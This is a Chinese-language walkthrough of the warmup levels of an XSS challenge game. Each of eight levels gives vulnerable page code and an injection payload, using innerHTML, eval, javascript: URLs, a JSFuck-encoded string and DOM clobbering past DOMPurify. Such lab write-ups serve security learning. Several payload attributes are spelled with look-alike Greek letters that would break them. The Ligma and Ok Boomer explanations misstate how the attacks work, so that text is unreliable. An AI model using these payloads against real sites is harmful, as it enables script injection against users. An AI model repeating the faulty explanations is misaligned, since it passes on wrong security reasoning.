链接如下:
1.Ma Spaghet!
源码;
html
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
somebody=<img src=1 οnerrοr="alert(1337)">
解释:
innerHTML
属性会解析并插入HTML内容。通过将somebody
参数设置为含有<img>
标签的payload,利用onerror
事件触发alert(1337)
。- 由于
innerHTML
会将内容解释为HTML,<img>
标签的onerror
事件会在加载图片时触发。这里的src=1
是一个无效的图片链接,将导致错误,从而触发onerror
事件。
2.Jefff
源码:
html
<!-- Challenge -->
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
?jeff=aaa";alert(1337);"
解释:
eval
函数会执行动态生成的JavaScript代码。通过在jeff
参数中注入";alert(1337);"
,可以破坏字符串的拼接,直接在eval
中插入恶意代码。aaa";alert(1337);"
使得eval
代码变成:ma = "Ma name aaa";alert(1337);
。这样,alert(1337)
就会被执行。
3.Ugandan Knuckles
源码:
html
<!-- Challenge -->
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
?wey=aaa" οnfοcus="alert(1337)" autofocus="true
解释:
innerHTML
会解析为HTML内容。通过在placeholder
属性中注入"
和onfocus
事件,可以在文本框获得焦点时触发alert(1337)
。onfocus="alert(1337)"
在文本框被聚焦时触发警报。
4.Ricardo Milos
源码:
html
<!-- Challenge -->
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
?ricardo=javascript:alert(1337)
解释:
action
属性决定了表单提交的目标。当其设置为javascript:alert(1337)
时,表单提交会执行JavaScript代码。ricardo.submit()
在2秒后提交表单,从而执行了alert(1337)
。
5.Ah That's Hawt
源码;
html
<!-- Challenge -->
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">
解释:
- 通过
innerHTML
插入带有onerror
属性的<img>
标签。onerror
事件中的location="javascript:alert%25281337%2529"
会触发JavaScript代码。 %2528
和%2529
是(
和)
的URL编码,确保字符串在JavaScript中正确解析。
6.Ligma
源码:
html
/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
url编码后
复制,最后payload为:
balls=%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B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B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)
解释:
replace(/[A-Za-z0-9]/g, '')
会去掉字符串中的所有字母和数字,只保留其他字符。如果balls
参数是javascript:alert(1337)
,所有字母和数字会被删除,剩下的内容就是javascript:alert(1337)
,这会被eval
执行。
7.Mafia
源码:
javascript
/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
?mafia=eval(8680439..toString(30))(1337)
?mafia=eval(location.hash.slice(1))#alert(1337)
解释:
replace(/[\
'"+-!\]/gi, '_')替换了特定字符,并移除
alert。不同的payload利用
eval`执行不同的JavaScript代码:Function(/ALERT(1337)/.source.toLowerCase())()
创建了一个执行alert(1337)
的函数。eval(8680439..toString(30))(1337)
是利用eval
函数的动态执行。eval(location.hash.slice(1))#alert(1337)
利用hash参数注入代码。
8.Ok, Boomer
源码:
html
<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
?boomer=<a%20id=ok%20href=mailto:alert(1337)>
解释:
DOMPurify.sanitize
用于清理和过滤输入内容。通过<a>
标签并利用href
属性注入mailto:
协议,虽然DOMPurify
会过滤大多数内容,但在实际应用中,如果过滤规则不够严格,可能会执行注入的代码。
至此,xss game的Warmups部分已结束!